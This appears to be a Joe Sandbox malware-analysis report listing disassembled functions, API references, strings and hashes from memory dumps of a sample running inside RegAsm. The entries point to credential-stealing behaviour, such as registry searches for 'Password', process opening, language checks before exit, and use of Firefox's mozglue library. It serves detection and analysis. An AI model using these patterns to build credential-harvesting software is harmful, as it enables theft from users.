Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 94c1acb90ae70add941c9a4f3caf3cbe7b58bac40e60509d0b872bbc66e47141
Instruction ID: 5321bba9eeaac3460b637307d5e85ca7deaaffea14b00783e7c2bdf695550f5d
Opcode Fuzzy Hash: 94c1acb90ae70add941c9a4f3caf3cbe7b58bac40e60509d0b872bbc66e47141
Instruction Fuzzy Hash: B731AF32B442055BEF14AEA99C45FAE7B79BB41B59F704018F610ABA80DB72D400CFB3

Function 00407310 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149memoryregistryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$EnumFreeProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 1596820344-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 6C2DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2DF100: LoadLibraryW.KERNEL32(shell32,?,6C34D020), ref: 6C2DF122
Part of subcall function 6C2DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C2DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C2DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C2DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C2DEDCC
CreateFileW.KERNEL32 ref: 6C2DEE08
free.MOZGLUE(00000000), ref: 6C2DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C2DEE32

Part of subcall function 6C2DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C2DEBB5
Part of subcall function 6C2DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C30D7F3), ref: 6C2DEBC3
Part of subcall function 6C2DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C30D7F3), ref: 6C2DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C2DEDC1

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ad6aa4748c2e910cfa389e65387f2278f0f3ac1a07da6ff3135f87fa7a791d35
Instruction ID: ec502a24364d8d0ee493aa47f50bf40204c2410b84dcb12e205b6fa3233aa4aa
Opcode Fuzzy Hash: ad6aa4748c2e910cfa389e65387f2278f0f3ac1a07da6ff3135f87fa7a791d35
Instruction Fuzzy Hash: C551B271D053098BDB00EF68C8406EEF7B5AF69318F45852DEC956B740EB347948CBA2

Function 6C2E0A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6C33B80C,00000000,?,?,6C2E003B,?), ref: 6C2E0A72

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

moz_xmalloc.MOZGLUE(?,?,6C33B80C,00000000,?,?,6C2E003B,?), ref: 6C2E0AF5
free.MOZGLUE(00000000,?,?,6C33B80C,00000000,?,?,6C2E003B,?), ref: 6C2E0B9F
free.MOZGLUE(?,?,?,6C33B80C,00000000,?,?,6C2E003B,?), ref: 6C2E0BDB
free.MOZGLUE(00000000,?,?,6C33B80C,00000000,?,?,6C2E003B,?), ref: 6C2E0BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6C33B80C,00000000,?,?,6C2E003B,?), ref: 6C2E0C0A

Strings

alloc overflow, xrefs: 6C2E0C05

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: 4aa1b676de4bfb0953a1017fbe4fa3780a7e2a76994fea2333b2b88e9413e7c8
Instruction ID: d45cd8d2daa10e9e863d4fb7a6da16fac89e913ee7abe5a2cecbf864fcbc6b09
Opcode Fuzzy Hash: 4aa1b676de4bfb0953a1017fbe4fa3780a7e2a76994fea2333b2b88e9413e7c8
Instruction Fuzzy Hash: 7E51B2B0A0424A8FDB14DF58C8C0A6EB7B5FF48308F94496DC85AAB701EB71E556CB51

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 985516fdb4aba9a37da67002539eb8a614f9f3b36bd237ff0cc46e5de52e8429
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: 985516fdb4aba9a37da67002539eb8a614f9f3b36bd237ff0cc46e5de52e8429
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 6C34A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C34A565

Part of subcall function 6C34A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C34A4BE
Part of subcall function 6C34A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C34A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C34A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C34A6B6

Strings

z, xrefs: 6C34A6AE
0, xrefs: 6C34A5FB

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 3cfc09ba52d5c4c914c6c1e9b3b92d264359190e9b6881c703b4db738398f311
Instruction ID: cb03a00bed5112a8db537b65a8af7640874fc5b02d6d00facd721bbf8ad61f27
Opcode Fuzzy Hash: 3cfc09ba52d5c4c914c6c1e9b3b92d264359190e9b6881c703b4db738398f311
Instruction Fuzzy Hash: 6D4137759087499FC341DF28C080A8ABBE5BF89358F408A2EF49987650EB34E549CF93

Function 6C2D78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C35008B), ref: 6C2D7B89
free.MOZGLUE(?,6C35008B), ref: 6C2D7BAC

Part of subcall function 6C2D78C0: free.MOZGLUE(?,6C35008B), ref: 6C2D7BCF

free.MOZGLUE(?,6C35008B), ref: 6C2D7BF2

Part of subcall function 6C2F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C2F5EDB
Part of subcall function 6C2F5E90: memset.VCRUNTIME140(ew3l,000000E5,?), ref: 6C2F5F27
Part of subcall function 6C2F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C2F5FB2

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: e1ab24df397ab3cf8d403a452fc11ab1b4eb6f80e4c88988850bb5756f8278ec
Instruction ID: 67b8d5ebfef524f50064b7713c05d0d78a08b56421f6ba64e55b0d07960655e3
Opcode Fuzzy Hash: e1ab24df397ab3cf8d403a452fc11ab1b4eb6f80e4c88988850bb5756f8278ec
Instruction Fuzzy Hash: 9AC1A531E0112C8BEB24CB28DC90B9DB772AF51718F1642E9D81AE7BC4D735AE858F51

Function 6C319420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C30AB89: EnterCriticalSection.KERNEL32(6C35E370,?,?,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB94
Part of subcall function 6C30AB89: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
__Init_thread_footer.LIBCMT ref: 6C31949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C319459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C31947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C31946B

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 7305b79b4b0ae7fd00486601b1251348024df891655be13c07d0ffb1d5448c0a
Instruction ID: 14ac97bc68a593e7a6280ed38f448a1f183c253759d4e0b6da795b1d25583d7a
Opcode Fuzzy Hash: 7305b79b4b0ae7fd00486601b1251348024df891655be13c07d0ffb1d5448c0a
Instruction Fuzzy Hash: 0D0188B0B042018FD704DF5DE815A9A337D9B0D32DF440536DD0B87F51DA26D4658D5B

Function 00416210 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214
ExitProcess.KERNEL32 ref: 00416245
ExitProcess.KERNEL32 ref: 0041624F
ExitProcess.KERNEL32 ref: 00416259
ExitProcess.KERNEL32 ref: 00416263
ExitProcess.KERNEL32 ref: 0041626D

Strings

*, xrefs: 0041622C

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction ID: 0b6e22eaf0c44992244314602628df478572758edaaa30d1127695f9febd7a00
Opcode Fuzzy Hash: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction Fuzzy Hash: 49F05830908A08EFE764AFE0EA09F5CBB3AEF04713F108195F609C7290CB748A11DB55

Function 6C321220 Relevance: 12.2, APIs: 8, Instructions: 173threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C32124B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C321268
GetCurrentThreadId.KERNEL32 ref: 6C3212DA
InitializeConditionVariable.KERNEL32(?), ref: 6C32134A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C32138A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C321431

Part of subcall function 6C318AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C331563), ref: 6C318BD5

free.MOZGLUE(?), ref: 6C32145A
free.MOZGLUE(?), ref: 6C32146C

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: afeb109dbdce0f05d83a05220a5d781ce75ba6f00fa06b03a6f27f40bae10364
Instruction ID: 312e7e38679bb94ea0e20f088ec2ed5b0a3962fb67c1ce2e81e0bc32fb005d24
Opcode Fuzzy Hash: afeb109dbdce0f05d83a05220a5d781ce75ba6f00fa06b03a6f27f40bae10364
Instruction Fuzzy Hash: 9261C076A043449BDB10CF25C980BAAB7F5BFC5308F44891DE99957712EB36E849CF82

Function 6C320F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C320F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C320F88
GetCurrentThreadId.KERNEL32 ref: 6C320FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C321067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C3210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C32114B

Part of subcall function 6C318AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C331563), ref: 6C318BD5

free.MOZGLUE(?), ref: 6C321174
free.MOZGLUE(?), ref: 6C321186

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: a530e7b87d9fb46bf09cb787251afd46d225c1076a1e7634f4a9b1b603cc2640
Instruction ID: d2add77a2a13434310df17fc3bef2f3719e97b6ead7849c6f4b1fad3ddee3fda
Opcode Fuzzy Hash: a530e7b87d9fb46bf09cb787251afd46d225c1076a1e7634f4a9b1b603cc2640
Instruction Fuzzy Hash: AA61C075A043449BDB10CF25C990BAAB7F9BFC9308F14891DE89957711EB36E849CF82

Function 6C2DE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6C2E1999), ref: 6C2DEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6C2DEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6C2DEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6C2E1999), ref: 6C2DEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6C2E1999), ref: 6C2DEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6C2DEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6C2DEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6C2DEB27

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 2c06272a9fdd6797351afa0abfd45888179a8e06dbf1641ad1d06530af055959
Instruction ID: 99b5fb918623e26e7069d147818404c3282bc8d5ec20376e535839d18ab2f94b
Opcode Fuzzy Hash: 2c06272a9fdd6797351afa0abfd45888179a8e06dbf1641ad1d06530af055959
Instruction Fuzzy Hash: 1A41A9B190021A9FDB14CF68DC80AAEB7B8FF55358F254664EC15D7794E730E9048BE1

Function 6C2DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C2DB61E,?,?,?,?,?,00000000), ref: 6C2DB6AC

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C2DB61E,?,?,?,?,?,00000000), ref: 6C2DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C2DB61E,?,?,?,?,?,00000000), ref: 6C2DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C2DB61E,?,?,?,?,?,00000000), ref: 6C2DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C2DB61E,?,?,?,?,?,00000000), ref: 6C2DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C2DB61E), ref: 6C2DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C2DB61E,?,?,?,?,?,00000000), ref: 6C2DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C2DB61E,?,?,?,?,?,00000000), ref: 6C2DB79A

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: fe289165ebbee3652c9136fe458dcd7837a2f54f7e362705beebc68a6a0cec06
Instruction ID: ffa96ed9080ce6b18abc325f68bcd6b7e53baaeb6caa3a64ebaba7d23a9be43f
Opcode Fuzzy Hash: fe289165ebbee3652c9136fe458dcd7837a2f54f7e362705beebc68a6a0cec06
